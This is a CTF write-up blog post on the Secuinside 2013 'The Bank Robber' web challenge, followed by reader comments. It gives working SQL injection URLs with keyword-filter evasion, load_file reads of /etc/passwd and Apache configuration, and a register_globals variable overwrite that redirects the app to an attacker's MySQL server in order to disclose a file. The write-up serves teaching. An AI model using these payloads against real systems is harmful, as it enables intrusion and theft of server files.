Secuinside CTF 2013 writeup – The Bank Robber

This weekend I had a look at the secuinside CTF web challenges. As last year I really enjoyed them, thank you to the author. The Bank Robber was a website of a bank robber crew. It had two security vulnerabilities one had to identify and exploit step by step. First, a SQL Injection was exploited to read the applications source code. Then the source code was analyzed for a File Disclosure vulnerability to read the flag file.

1. SQL Injection

A SQL Injection was located in the list of hacked bank websites that had a search feature. Next to a keyword, the search feature allowed to specify a type (NUM, ATTACKER, or URL) and there was obviously some URL rewriting going on. Searching for the keyword “asd” and the different types resulted in the following URLs:

http://1.234.27.139:61080/M.list.idx.asd
http://1.234.27.139:61080/M.list.url.asd
http://1.234.27.139:61080/M.list.attacker.asd

It turned out, that the type was the $column name in a SQL WHERE clause. Magic quotes was enabled so exploiting the keyword was not possible.

select * from hacked_list where $column like '%$word%' order by time desc

However, we could inject own SQL syntax into the query via column name. We used a hash tag to cut off everything behind our injection.

http://1.234.27.139:61080/M.list.idx=(1)and(1)%2523.1
http://1.234.27.139:61080/M.list.idx=(1)and(0)%2523.1

Note that we had to use double urlencoding because of some redirecting. Extracting data via UNION SELECT or a subselect did not work because there was some filtering going on.

1.1 Filter Evasion

After I while I tried to read files with load_file(). To my surprise it seemed to work, but the length of the /etc/passwd file I was trying to read was 11 characters.

http://1.234.27.139:61080/M.list.idx=(1)and(length(load_file(0x2F6574632F706173737764))=11)%2523.1

Reading the content char by char revealed that I just accessed the string /etc/passwd I passed as argument to load_file(). It turned out, that the string load_file was replaced with an empty string. That helped a lot to evade the filter, because unload_fileion will then be replaced to union. I used multi-line comments /**/ to avoid spaces and placed the string load_file into every keyword I assumed filtering. Now I could form a UNION SELECT and read all databases, tables, and columns:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,schema_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252eschemata%2523.1
information_schema,BHACK_DB,test
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,table_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252etables%2523.1
hacked_list,_BH_layout
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1
hacked_list: idx,url,attacker,time
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1
_BH_layout: idx,layout_name,position,path

The table hacked_list could already be read through the application and the table _BH_layout contained the following entries:

idx	path						layout_name	position
1	./book_store_skin/head.html	1			head
2	./book_store_skin/foot.html	1			foot
3	./reverted/h.htm			2			head
4	./reverted/f.htm			2			foot

There was only one database and no flag in any table, so I tried to read files again.

When I looked at the source code of the application later on, I noticed that a simple unIoN would have been enough to evade the case-sensitive filter:

function filtering($str){
 	$str = preg_replace("/select/","", $str);
 	$str = preg_replace("/union/","", $str);
 	$str = preg_replace("/from/","", $str);
 	$str = preg_replace("/load_file/","", $str);
 	$str = preg_replace("/ /","", $str);
 	return $str;
 }

1.2 Find/Read Source Code

First, I tried to load the /etc/passwd file, this time with loadload_file_file because the string load_file is deleted by the filter once, leaving another load_file:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F6574632F706173737764%29,4%2523.1

It worked. The /etc/passwd contained the following line:

www-data:x:33:33:www-data:/var/www:/bin/sh

Because there was some URL rewriting, I assumed a .htaccess file in the DocumentRoot. However, I could not access /var/www/.htaccess or any other file in /var/www/. The DocumentRoot must be somewhere else. Next, I tried to read the webserver’s configuration files. After a look at the list of default layout for Apache I found Apache’s configuration file in the default location /etc/apache2/apache2.conf for ubuntu. However, no DocumentRoot was specified. Further, I read the file /etc/apache2/ports.conf and finally /etc/apache2/sites-available/default where I found the DocumentRoot:

DocumentRoot /site

Now I could read the /site/.htaccess file that revealed the URL rewriting and the PHP file:

ReWriteEngine On

ReWriteRule ^$ ./Main_Site/TBR.php
RewriteRule ^layouts\/(.+) ./Main_Site/layouts/$1
ReWriteRule ^[M]\.([a-zA-Z]+)\.(.+)\.(.+)$ ./Main_Site/TBR.php?_type=M&_act=$1&column=$2&word=$3
ReWriteRule ^[P]\.home\.([12]) ./Main_Site/TBR.php?_type=P&_act=home&_skin=$1

ReWriteRule ^[P]\.([a-zA-Z]+)$ ./Main_Site/TBR.php?_type=P&_act=$1
ReWriteRule ^[M]\.([a-zA-Z]+) ./Main_Site/TBR.php?_type=M&_act=$1

Finally, I could read the source of the application located at /site/Main_Site/TBR.php with the following request:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F736974652F4D61696E5F536974652F5442522E706870%29,4%2523.1

2. File Disclosure

On top of the file /site/Main_Site/TBR.php a hint is given where the flag file is located:

/*
:: HINT ::
root@ubuntu:/var/lib/php5# pwd
/var/lib/php5
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG
root@ubuntu:/var/lib/php5#
*/

It tells us that we cannot read the flag file /var/lib/php5/FLAG with the SQL Injection because MySQL runs with a different user and the file is only readable to the user root and www-data. So we need to exploit the PHP script running with www-data. Lets analyze the script TBR.php.

2.1 Code Analysis

First, the application initializes some important paths in $_BHVAR:

$_BHVAR = Array(
	'path_layout'	=>	'./layouts/',
	'path_lib'	=>	'./lib/',
	'path_module'	=>	'./modules/',
	'path_page'	=>	'./pages/',
	'path_tmp'	=>	'./tmp/'
);

Then, it simulates magic_quotes_gpc=on and register_globals=on:

if(!get_magic_quotes_gpc()){ /* escape all GPC superglobals */ }
if(!ini_get("register_globals")) extract($_GET);

At this point we can overwrite any previously declared variable, namely the $_BHVAR array and its elements because extract will register any GET parameter as variable in the global scope. For example, the key $_BHVAR[‘path_layout’] can be overwritten by using the following URL:

http://1.234.27.139:61080/Main_Site/TBR.php?_BHVAR%5Bpath_layout%5D=foobar

Now lets see what we can do with this. The script includes two more files:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";

We cannot trigger a RFI because allow_url_include=off and we cannot set the $_BHVAR[‘path_lib’] path to our FLAG file because a filename is appended. A nullbyte injection is prevented because magic_quotes_gpc=on. Lets move on.

The first included file database.php contains the MySQL connection credentials:

<?php
 if(!defined('__BHACK__')) exit();
 $_BHVAR['db'] = Array(
 	'host'	=>	'localhost',
 	'user'	=>	'bhack_db',
 	'pass'	=>	'bhack_p4zz',
 	'name'	=>	'BHACK_DB'
 );
?>

The included file functions.php contains the db_conn() and get_layout() functions that are used in the following:

function db_conn(){
 	global $_BHVAR;
	mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);
	mysql_select_db($_BHVAR['db']['name']);
 }

 function get_layout($layout, $pos){
	$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
	$row = mysql_fetch_array($result);
	if (!isset($row['path'])){
		if ($pos = 'head'){
			return "./reverted/h.htm";
		} else {
			return "./reverted/f.htm";
		}
	}
	return $row['path'];
 }

Next, the application establishes a MySQL connection with the function db_conn() and reads the header file name for the current layout from the database. Finally, it prints the content of the header file to the HTML response.

$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

We want to achieve that the variable $head contains the string /var/lib/php5/FLAG to print the FLAG file instead the HTML header file. Again, we cannot use $_BHVAR[‘path_layout’] because we cannot truncate the appended layout filename with a nullbyte. However, we can empty the path $_BHVAR[‘path_layout’]. Next, we need to find a way that get_layout() returns our FLAG file name. A SQL Injection is prevented by magic_quotes_gpc=on.

2.2 Redirecting the MySQL server

The trick is to let the application connect to our own MySQL server that returns a different HTML header filename, namely the path to our flag file. Lets have a look at the source code again:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";
$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

First, we overwrite $_BHVAR[‘path_lib’] so that the include of the database credentials fails. Then, we can register our own database credentials through register_globals. We leave the $_BHVAR[‘path_module’] as it is, so the include of the functions will not fail. Then, the function db_conn() will connect to our remote MySQL server. Next, we overwrite $_BHVAR[‘path_layout’] with an empty string and make sure that our MySQL database returns the path to the flag file as layout file when retrieved with get_layout().

For this purpose, we setup the following MySQL database on our remote server 1.2.3.4 listing on the default port 3306:

create database BHACK_DB;
grant all privileges on BHACK_DB.* to bhack_db identified by 'bhack_p4zz';
use BHACK_DB;
create table _BH_layout (idx INT, layout_name VARCHAR(255), position VARCHAR(10), path VARCHAR(255));
insert into _BH_layout VALUES (1, '1', 'head', '/var/lib/php5/FLAG');

And finally we can trigger the redirect. We let the include of the original MySQL credentials fail, inject our own MySQL credentials and empty the prefix of the header file name:

http://1.234.27.139:61080//Main_Site/TBR.php?_BHVAR%5Bdb%5D%5Bhost%5D=1.2.3.4&_BHVAR%5Bdb%5D%5Buser%5D=bhack_db&_BHVAR%5Bdb%5D%5Bpass%5D=bhack_p4zz&_BHVAR%5Bdb%5D%5Bname%5D=BHACK_DB&_skin=1&_BHVAR%5Bpath_layout%5D=&_BHVAR%5Bpath_lib%5D=foobar&_BHVAR%5Bpath_module%5D=modules/

Then the location of the flag file is returned from our remote database and the flag is printed as HTML header:

@_Y0UR_EY3_LEE_SIN_@

Thanks again to the author of this cool challenge!

7 Responses to Secuinside CTF 2013 writeup – The Bank Robber

  1. popupsample says:

    nice posts, by the way what is your team name?

  2. substr_sql says:

    Wow.. I was trying to solve this one but it was kinda confusing.. thankx for your writeup!!

  3. luruke says:

    Was not easy eheh, thanks for the post

  4. ryvan says:

    mr reiner..i dont understand how can double encode bypass the redirections?can you please explain?

  5. Reiners says:

    hi ryvan, the double url encoding had nothing to do with the htaccess urlrewriting, maybe this is unclear in the post.
    the application used javascript to redirect a search term to the application parameters. thus, the first level of url encoding was neccessary for the client-side JavaScript and the second level of url encoding reached the server-side application itself. I hope this helps 🙂

  6. ryvan says:

    undoubtedly yes..thanks mr Reiners…:)

Leave a comment